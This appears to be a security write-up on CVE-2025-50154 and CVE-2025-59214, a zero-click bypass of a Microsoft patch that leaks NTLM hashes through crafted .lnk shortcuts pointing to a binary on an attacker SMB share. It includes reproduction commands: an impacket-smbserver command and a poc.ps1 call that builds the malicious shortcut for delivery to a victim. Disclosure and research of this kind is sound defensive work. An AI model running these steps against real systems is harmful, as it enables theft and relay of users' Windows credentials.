CVE-2025-50154: Zero-Click NTLM Leak and a Microsoft Patch Bypass
NTLM hash leaks remain one of the most persistent vulnerability classes in the Windows ecosystem: an attacker able to force a machine to authenticate to a server they control can capture an NTLM hash, then attempt to relay it or crack it offline.
Microsoft had already patched a known NTLM leak vector. This research showed that patch could be bypassed, tracked as CVE-2025-50154, recreating the conditions for a leak, this time with zero user interaction.
Why "zero-click" changes everything
A zero-click vulnerability removes the last risk factor most defenses lean on: human vigilance. It makes the vector exploitable at scale, in an automated fashion, and much harder to catch upstream.
Responsible disclosure
This vulnerability was reported to Microsoft and only documented publicly after the patch was made available.
Full technical resource (GitHub repository)
Source: github.com/rubenformation/CVE-2025-50154. The proof of concept below covers both CVE-2025-50154 and CVE-2025-59214.
Description
While Microsoft released a security update addressing an icon-based NTLM hash disclosure vulnerability, a bypass still allows an attacker to retrieve NTLMv2-SSP hashes without user interaction.
The original vulnerability, recently patched, was a 0-click NTLM hash disclosure triggered when explorer.exe rendered the icon of a .lnk shortcut file whose icon was hosted on a remote SMB server. After the patch, explorer.exe no longer loads icons from remote SMB paths, preventing the automatic disclosure of NTLM hashes.
The patch for CVE-2025-50154 didn't work at all. This was reported again, and a new CVE was assigned: CVE-2025-59214. The proof of concept below is relevant to both CVEs.
By crafting a .lnk file with a default icon from shell32.dll and a target path pointing to a remote SMB-hosted binary file, explorer.exe still fetches the remote file to extract the PE icon from its RTGROUPICON and RT_ICON resources.

Requirements
- An SMB server controlled by the attacker (e.g. via
impacket-smbserver). - A binary to host on that share, used as a lure to extract the icon (e.g.
Taskmgr.exe). - The
poc.ps1script to generate the malicious.lnkfile. - A delivery method for the
.lnkfile (download, SMB share, etc.).
Reproduction steps
Start an SMB server on the attacker side:
# place the binary (e.g. Taskmgr.exe) in the directory, then start the SMB server.
impacket-smbserver share . -smb2support
Craft the malicious .lnk file with PowerShell on a separate machine, then deliver it to the victim (drive-by download, SMB share, etc.):
# replace the values with the target path, the SMB server IP, and the hosted file name. Triggering can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"
explorer.exe automatically downloads the remote file to extract its icon, looking for RTICON and RTGROUP_ICON headers in the .rsrc section.
Notes
This code is for educational and research purposes only. The author takes no responsibility for any misuse of this code.
Key takeaways
- A security patch isn't always the end of the story: sometimes it shifts the attack surface rather than removing it.
- NTLM hardening (disabling it where possible, SMB signing, Extended Protection for Authentication) remains a priority, patched or not.
- Environments exposed to this kind of vector benefit from ongoing review, not just a one-time patch.
This bypass is part of a broader line of NTLM leak research, including CVE-2025-59214. Let's talk about your exposure to this kind of vector.